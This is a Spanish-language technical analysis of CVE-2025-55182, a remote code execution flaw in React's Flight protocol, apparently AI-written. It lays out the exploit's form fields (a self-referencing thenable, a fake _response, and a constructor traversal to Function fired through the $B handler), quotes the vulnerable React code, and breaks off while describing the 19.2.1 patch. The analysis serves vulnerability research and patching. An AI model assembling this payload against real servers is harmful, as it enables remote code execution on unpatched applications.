
Análisis técnico detallado y exploit de prueba de concepto para CVE-2025-55182, una vulnerabilidad crítica de ejecución remota de código (RCE) en el Protocolo Flight de React. Cubre el path traversal, la inyección de chunks falsos y técnicas de evasión de WAF.
NOTA: Escrito por IA/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 es una vulnerabilidad RCE crítica en el Protocolo Flight de React. El ataque encadena path traversal + inyección de chunks falsos + abuso del handler $B para ejecutar Function(attacker_code).
¡Muchas gracias a maple3142 por la cadena de explotación funcional!
El exploit usa tres campos de formulario para construir un payload malicioso:
then autorreferencial (campo 1 $@0 → campo 0)_response falso con _formData.get establecido en $1:constructor:constructor$B que llama a response._formData.get(response._prefix + id)_formData.get → Function, ejecutando Function(code)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### Componentes Clave
| Componente | Propósito |
|-----------|---------|
| `then: "$1:__proto__:then"` | Thenable autorreferencial; el chunk 1 (`$@0`) apunta de vuelta al chunk 0 |
| `status: "resolved_model"` | Hace que el objeto parezca un chunk de React válido |
| `reason: -1` | Establece rootReference a undefined (evita conflictos de referencia) |
| `value: '{"then":"$B1337"}'` | Payload anidado que activa el manejador `$B` |
| `_response._prefix` | Contiene la cadena de código RCE |
| `_response._chunks: "$Q2"` | Mapa vacío para evitar bloqueos durante el procesamiento de chunks |
| `_response._formData.get` | Apunta a `Function` mediante `$1:constructor:constructor` |
### Análisis Detallado de Componentes
#### Estructura del Campo de Formulario
El exploit utiliza tres campos de formulario con referencias circulares:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)El then: "$1:__proto__:then" crea una autorreferencia que se resuelve a una función real:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**Por qué esto es crítico:**
1. `then` se resuelve a `Chunk.prototype.then` - una función llamable real
2. Esto hace que el objeto falso sea un thenable válido
3. Cuando se hace await, JS llama a `obj.then(resolve, reject)`
4. `Chunk.prototype.then` se ejecuta con el objeto falso como `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) utiliza this._response - el _response falso del atacante:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**Sin la autorreferencia**, el `_response` falso nunca se usaría. La autorreferencia hace que `Chunk.prototype.then` trate el objeto del atacante como un Chunk real.
#### Disparador Thenable en Dos Etapas (`value`)
El campo `value` contiene una cadena JSON anidada con otro thenable:```json
{"then":"$B1337"}
Etapa 1: El then autorreferencial del objeto externo activa el procesamiento por fragmentos
Etapa 2: Cuando React resuelve el modelo, analiza value y se encuentra con otro thenable con then: "$B1337". El prefijo $B activa el manejador:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` es `"$1:constructor:constructor"` → `getOutlinedModel()` se resuelve a `Function`.
Esto se convierte en: `Function(code + "1337")` → JS válido porque `1337` es solo una expresión final.
#### Relleno defensivo (`_chunks`)
El `_response` falso necesita una propiedad `_chunks` válida para evitar bloqueos:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
El código interno de React puede acceder a response._chunks.get() o response._chunks.has() durante el procesamiento. Un Map vacío satisface estas llamadas sin errores, lo que permite que la ejecución alcance el controlador vulnerable $B.
| Path | Function | Purpose in Exploit |
|---|---|---|
| Path Traversal | getOutlinedModel() | Resuelve $1:constructor:constructor → Function |
Inyección de _response falso | initializeModelChunk() | Utiliza el chunk._response del atacante |
Manejador $B | parseModelString() | Llama a _formData.get(_prefix + id) → RCE |
decodeReply() es el punto de entrada, no vulnerable en sí misma.
Path Traversal (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**Uso de respuesta falsa** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Handler RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## La corrección (19.2.1)
El parche incluye múltiples correcciones:
1. **`RESPONSE_SYMBOL` en `initializeModelChunk()`** - Corrección crítica ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);